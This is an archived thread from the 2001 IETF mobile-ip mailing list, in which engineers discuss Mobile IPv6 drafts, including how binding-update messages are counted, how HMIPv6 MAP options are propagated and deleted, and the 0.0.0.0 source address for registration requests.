Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATIAm1V018476
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 10:10:48 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA16125
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 10:10:48 -0800 (PST)
Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA08224
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 11:10:47 -0700 (MST)
Received: [from pobox3.mot.com (pobox3.mot.com [10.64.251.242]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id LAA14269 for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 11:10:47 -0700 (MST)]
Received: [from m-il06-r4.mot.com (m-il06-r4.mot.com [129.188.137.196]) by pobox3.mot.com (MOT-pobox3 2.0) with ESMTP id LAA15497 for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 11:00:52 -0700 (MST)]
Received: from thorgal.crm.mot.com by m-il06-r4.mot.com with ESMTP; Thu, 29 Nov 2001 11:10:45 -0700
Received: from test9.crm.mot.com.crm.mot.com (test9.crm.mot.com [140.101.173.239])
	by thorgal.crm.mot.com (Postfix) with ESMTP
	id 139FA2EC83; Thu, 29 Nov 2001 19:10:33 +0100 (CET)
To: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Cc: mobile-ip@sunroof.eng.sun.com, gab@sun.com
Subject: Re: [mobile-ip] draft-montenegro-mobileip-mipv6-seceval-00.txt
References: <Roam.SIMC.2.0.6.1007055746.10852.nordmark@bebop.france>
From: Alexandru Petrescu <petrescu@crm.mot.com>
Date: 29 Nov 2001 19:09:48 +0100
In-Reply-To: <Roam.SIMC.2.0.6.1007055746.10852.nordmark@bebop.france>
Message-Id: <m3herdbg9f.fsf@test9.crm.mot.com>
Lines: 37
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Erik Nordmark <Erik.Nordmark@eng.sun.com> writes:
> > Michael Thomas <mat@cisco.com> writes:
> > > Alexandru Petrescu writes:
> > >  > [about message counts for secure binding updates]
> > >  > 
> > >  > BUSEC:   5
> > > 
> > >    ??? I don't understand how you're counting this. It's
> > >    always 3 messages to update a CN.
> > 
> > As I said, depending if you count the Binding Acknowldegment or not
> > your mileage may vary.  Also, as with DHMIPv6, I counted the CN to MN
> > via HA message as 2 messages (hop limits decremented).
> 
> That explains the numbers - but it is a really odd definition of
> "number of messages".

Some proposals go CN-HA-MN while others go CN-MN so it looks that
those that go CN-MN are somehow "faster".  Quantified how?  I was
thinking "number of messages" would be a good start.

> E.g. for BU3WAY between two MNs (the CN is also mobile) you need to
> multiple the 3 messages (4 if BAck) with 3 since they all travel
> 	MN1->HA1->HA2->MN2
> resulting in 9 (12 if BAck) of your number of messages.

Aha, this too should be taken into account when counting the messages.
I think Michael's table is a good start.

> But why are those hops different that a router forwarding the
> packets?  Answer for BU3WAY is that they aren't - the HAs are just
> forwarding packets in and out of IPsec tunnels.

I gave a lot of thought to this since our last Router-HomeAgent
discussion.  It's such an enormous design space.

Alex



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 17:04:05 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA16076
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 17:04:04 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA28077;
	Thu, 29 Nov 2001 15:02:34 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA06833;
	Thu, 29 Nov 2001 14:02:28 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATM1H1V018906
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 14:01:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fATM1HQZ018905
	for mobile-ip-dist; Thu, 29 Nov 2001 14:01:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fATM1D1V018898
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 14:01:13 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA05584
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 14:01:14 -0800 (PST)
Received: from ALPHA1.CC.MONASH.EDU.AU (alpha1.cc.monash.edu.au [130.194.1.1])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA22451
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 15:01:09 -0700 (MST)
Received: from blammo.its.monash.edu.au ([130.194.1.74])
 by vaxc.cc.monash.edu.au (PMDF V6.1 #39306)
 with ESMTP id <01KBB5H6EUNA8ZF875@vaxc.cc.monash.edu.au> for
 mobile-ip@sunroof.eng.sun.com; Fri, 30 Nov 2001 09:00:58 +1100
Received: from localhost (localhost [127.0.0.1])	by blammo.its.monash.edu.au
 (Postfix) with ESMTP	id CD31912C00B; Fri, 30 Nov 2001 09:00:57 +1100 (EST)
Received: from eng.monash.edu.au (knuth.eng.monash.edu.au [130.194.137.189])
	by blammo.its.monash.edu.au (Postfix) with ESMTP	id E55BB12C00A; Fri,
 30 Nov 2001 09:00:56 +1100 (EST)
Date: Fri, 30 Nov 2001 09:05:25 +1100
From: Greg Daley <greg.daley@eng.monash.edu.au>
Subject: Re: [mobile-ip] I-D ACTION:draft-ietf-mobileip-hmipv6-05.txt
To: mobile-ip@sunroof.eng.sun.com
Cc: petrescu@crm.mot.com
Message-id: <3C06B125.42154E36@eng.monash.edu.au>
Organization: Monash University
MIME-version: 1.0
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.10mobile i686)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
X-Accept-Language: en
References: <200111291105.GAA20298@ietf.org> <m3r8qhbilr.fsf@test9.crm.mot.com>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7BIT

	Hi Alex,

	Comments below.

Alexandru Petrescu wrote:
> 
> Hi,
> 
> Thank you for the new version of the draft.
> 
> I understand that MAP discovery is still used like in -04, namely MAP
> options are re-transmitted from one interface to another.  I still
> wonder if routers should re-transmit on other links what they receive
> via RA's on one link.  I see this as the job of routing protocols and
> not of RA's.

	I have spent a little time thinking on this
	issue.

	Certainly, I don't think the intention
	is to allow the map options to be propagated
	the MN in an unfiltered form.

	Therefore the AR is the destination of the 
	dynamic MAP propagations (it can decide
	what the Access Network sees).

	I understand that RA Propagation is a
	repeat of dynamic routing function, and that
	similar measures need to be taken in the
	propagation as that with other distance vector
	routing protocols.

	I'm not sure if this is what we want to do
	(replicate router function), but it is an
	easy thing to do, and the trust relationships
	between adjacent nodes on a link is likely 
	to be easy to manage (since there is a good
	chance that SA exist between Routers on the
	same link).

	Router Renumbering sounds OK, but who do
	you allow to send the MAP propagations?

*	MAPS?
	
	If so, then dependent on the number of MAPs,
	the key distribution mechanisms are more
	complex (since it is unlikely that every AR will
	have an SA for every MAP). 
	
*	an Central NMS?

	If you allow just a small set of trusted servers,
	to send the RR Map options, then you have a
	situation where the NMS will have to collect
	information about the MAPs before distributing it
	on the to AR's.
	
	

	Additionally, the usage of RR means that 
	the MAP Option is not modified on each hop.

	If physical network topology is a factor 
	in determining the best MAP (as seems to be 
	possible in the draft), then the  NMS would
	need to know the locations of each AR and 
	unicast to them each set of MAP options, in
	order to present accurate network information
	to each.

	An all site-routers RR advertisement would
	present to all ARs the same picture of the
	MAP hierarchy.

	If you are interested in hybrid approaches,
	certain things can be done to improve this
	(but the reliance on the RA propagation 
	would still remain).

	I'm not sure if this is the type of thing
	which should clutter up the HMIP6 draft though.

	Maybe it is appropriate to develop separate
	guidance for dynamic map option propagation
	and management?


> Also, I still think HMIPv6 should specify a way to delete MAP-options
> from an advertising interface.(RR means to do that is to put 0 in
> use-prefix of a CHANGE).

	It is easy to delete map options by setting the
	Preference value to 255 (do not use).

	This will not necessarily make the MAP invisible
	immediately, but if you advertise at 255 for
	the elapsed lifetime of the MAP option, then
	after that stage, no one will be bound to
	the MAP, and it can be removed from all
	advertisements

	This will work for RA and RR.

	Greg 

Please excuse me if I do not respond (quickly)
I am just about to travel to Europe.


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 29 20:11:08 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA27387
	for <mobileip-archive@odin.ietf.org>; Thu, 29 Nov 2001 20:11:08 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA26769;
	Thu, 29 Nov 2001 18:09:50 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA15351;
	Thu, 29 Nov 2001 17:09:55 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAU1941V019897
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 29 Nov 2001 17:09:04 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAU194dJ019896
	for mobile-ip-dist; Thu, 29 Nov 2001 17:09:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAU1901V019889
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 17:09:00 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA12835
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 17:09:01 -0800 (PST)
Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA20994
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 17:09:00 -0800 (PST)
Received: from hpindsra.cup.hp.com (hpindsra.cup.hp.com [15.13.104.190])
	by palrel13.hp.com (Postfix) with ESMTP id 70BD81FF70
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 17:08:59 -0800 (PST)
Received: from hpindsra (sramam@hpindsra [15.13.104.190]) by hpindsra.cup.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.8.6 SMKit7.02) id RAA23527 for <mobile-ip@sunroof.eng.sun.com>; Thu, 29 Nov 2001 17:15:42 -0800 (PST)
Date: Thu, 29 Nov 2001 17:15:41 -0800 (PST)
From: Sivasundar Ramamurthy <sramam@cup.hp.com>
X-Sender: sramam@hpindsra
To: Mobile IP Working Group <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] 0.0.0.0 src address
Message-ID: <Pine.HPX.4.10.10111291654190.22787-100000@hpindsra>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello,

This is regarding draft rfc2002 bis-8 wrt using 0.0.0.0 as the IP
source of registration requests. I have only recently joined this
email group so please bear with me if this had been discussed earlier.

Section 3.6.1.1 states that the Mobile Node must use 0.0.0.0 as the IP
source address of the registration request if it does not have a home
address. Section 3.7.2.3 states that the FA must use the
IP source of the request as IP destination address when forwarding
replies. 

Thus there might be cases where the FA must forward replies to the
address 0.0.0.0. This task appears "impossible" since rfc1122 defines
0.0.0.0 as something like "this machine on this network", like
loopback. So a packet with destination address 0.0.0.0 might never go
out of the FA.

Am I in the right here? Can someone please clarify the usage/handling
of 0.0.0.0 as the source address of registration requests?


Thanks in advance!

Siva





From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 30 04:52:22 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00738
	for <mobileip-archive@odin.ietf.org>; Fri, 30 Nov 2001 04:52:21 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA02338;
	Fri, 30 Nov 2001 01:51:08 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA06510;
	Fri, 30 Nov 2001 01:50:44 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAU9nK1V020687
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 30 Nov 2001 01:49:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAU9nKiP020686
	for mobile-ip-dist; Fri, 30 Nov 2001 01:49:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAU9nG1V020679
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 01:49:16 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA06411
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 01:49:15 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA07153
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 02:49:14 -0700 (MST)
Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAU9nDu19901
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 10:49:13 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Fri Nov 30 10:49:11 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ9GY6D>; Fri, 30 Nov 2001 10:49:11 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0DE@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'Alexandru Petrescu'" <petrescu@crm.mot.com>
Cc: claude.castelluccia@inria.fr,
        "Karim El-Malki (ERA)"
	 <Karim.El-Malki@era.ericsson.se>,
        ludovic.bellier@inria.fr, mobile-ip@sunroof.eng.sun.com
Subject: RE: [mobile-ip] I-D ACTION:draft-ietf-mobileip-hmipv6-05.txt
Date: Fri, 30 Nov 2001 10:48:56 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hi, 

Thanks for the comments. Some answers below.

  > Thank you for the new version of the draft.
  > 
  > I understand that MAP discovery is still used like in -04, 
  > namely MAP
  > options are re-transmitted from one interface to another.  

=> Yes that's one option. The other one involves RR. 

I still
  > wonder if routers should re-transmit on other links what 
  > they receive
  > via RA's on one link.  I see this as the job of routing 
  > protocols and
  > not of RA's.

=> As far as I know it doesn't break anything. Also the 
RAs SHOULD be authenticated when using this mechanism. 
Or do you think it should be a MUST ? 

  > 
  > Also, I still think HMIPv6 should specify a way to delete 
  > MAP-options
  > from an advertising interface.(RR means to do that is to put 0 in
  > use-prefix of a CHANGE).

=> yes or a delete. But you're right we should make it 
more explicit for both mechanisms. It doesn't actually 
involve more protocol work. I'll add some text for that
and let you know before the next revision comes out. 


Cheers,
Hesham


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 30 06:13:03 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA03757
	for <mobileip-archive@odin.ietf.org>; Fri, 30 Nov 2001 06:13:03 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA24946;
	Fri, 30 Nov 2001 04:10:07 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA24229;
	Fri, 30 Nov 2001 03:07:35 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAUB6e1V020931
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 30 Nov 2001 03:06:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAUB6ej7020930
	for mobile-ip-dist; Fri, 30 Nov 2001 03:06:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAUB6Z1V020923
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 03:06:36 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA24583
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 03:06:35 -0800 (PST)
Received: from clarinet.u-strasbg.fr (clarinet.u-strasbg.fr [130.79.90.157])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA03660
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 03:06:33 -0800 (PST)
Received: from dpt-info.u-strasbg.fr (IDENT:diagne@localhost [127.0.0.1])
	by clarinet.u-strasbg.fr (8.9.3/8.9.3) with ESMTP id MAA24131
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 12:06:32 +0100
Message-ID: <3C076837.6C9BE58F@dpt-info.u-strasbg.fr>
Date: Fri, 30 Nov 2001 12:06:32 +0100
From: Mouhamadou Diagne <diagne@dpt-info.u-strasbg.fr>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.14-5.0smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] "Per flow movement in MIPv6"
Content-Type: multipart/alternative;
 boundary="------------0B84225D74E9F236545CDEA2"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--------------0B84225D74E9F236545CDEA2
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


Hi all,
After seeing the mail advertising the new internet draft "Per-flow
movement in MIPv6", I have to notify you that I had also introduced a
similar movement of flow by using MIPv6. The only difference is contrary
to this draft which aims to move a flow from an interface of a MN to
another interface of the same MN, my solution moves a flow from a host
to another host.
This paper "A protocol for IPv6 Nomadic Communications" was presented to
the IEEE MICC'2001 conference ( http://www.eng.ukm.my/~micc2001/ ).
We have also introduced an extension to HMIPv6 to support communications
with small groups (without use of multicast routing).

You can find also on the web site of my research group
       http://www-r2.u-strasbg.fr/publis.html

-----------------------
DIAGNE Mouhamadou Lamine
Laboratoire des Sciences de l'Image,
de l'Informatique et de la Télédétection
Tel: 33 (0)3 90 24 45 91
Fax: 33 (0)3 90 24 44 55
-----------------------



--------------0B84225D74E9F236545CDEA2
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>Hi all,
<br>After seeing the mail advertising the new internet draft "Per-flow
movement in MIPv6", I have to notify you that I had also introduced a similar
movement of flow by using MIPv6. The only difference is contrary to this
draft which aims to move a flow from an interface of a MN to another interface
of the same MN, my solution moves a flow from a host to another host.
<br>This paper "A protocol for IPv6 Nomadic Communications" was presented
to the IEEE MICC'2001 conference ( <A HREF="http://www.eng.ukm.my/~micc2001/">http://www.eng.ukm.my/~micc2001/</A> ).
<br>We have also introduced an extension to HMIPv6 to support communications
with small groups (without use of multicast routing).
<p>You can find also on the web site of my research group
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www-r2.u-strasbg.fr/publis.html">http://www-r2.u-strasbg.fr/publis.html</A>
<pre>
-----------------------
DIAGNE Mouhamadou Lamine
Laboratoire des Sciences de l'Image,&nbsp;
de l'Informatique et de la T&eacute;l&eacute;d&eacute;tection
Tel: 33 (0)3 90 24 45 91
Fax: 33 (0)3 90 24 44 55
-----------------------</pre>
&nbsp;</html>

--------------0B84225D74E9F236545CDEA2--



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 30 09:22:05 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12319
	for <mobileip-archive@odin.ietf.org>; Fri, 30 Nov 2001 09:22:05 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA02936;
	Fri, 30 Nov 2001 07:20:27 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA07204;
	Fri, 30 Nov 2001 06:20:31 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAUEJ81V021240
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 30 Nov 2001 06:19:08 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAUEJ8gQ021239
	for mobile-ip-dist; Fri, 30 Nov 2001 06:19:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAUEJ41V021232
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 06:19:04 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA07058
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 06:19:05 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA01861
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 07:18:47 -0700 (MST)
Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAUEJ3u03714
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 30 Nov 2001 15:19:03 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Fri Nov 30 15:18:47 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2M2H66>; Fri, 30 Nov 2001 15:10:46 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0F0@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Cc: petrescu@crm.mot.com
Subject: RE: [mobile-ip] I-D ACTION:draft-ietf-mobileip-hmipv6-05.txt
Date: Fri, 30 Nov 2001 15:18:41 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Greg, 

  > > Also, I still think HMIPv6 should specify a way to delete 
  > MAP-options
  > > from an advertising interface.(RR means to do that is to put 0 in
  > > use-prefix of a CHANGE).
  > 
  > 	It is easy to delete map options by setting the
  > 	Preference value to 255 (do not use).

=> '15' in the new (properly aligned) option :)

  > 
  > 	This will not necessarily make the MAP invisible
  > 	immediately, but if you advertise at 255 for
  > 	the elapsed lifetime of the MAP option, then
  > 	after that stage, no one will be bound to
  > 	the MAP, and it can be removed from all
  > 	advertisements
  > 
  > 	This will work for RA and RR.

=> I think the intention (which will be explicitly
stated in the next version) was that 255 (or 15 
currently) means: The MAP will not accept new BUs.
For deletion we have to stop the advertisement. This 
can be done by sendin an option with the lifetime set
to zero.

Hesham


 


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 30 16:39:41 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08799
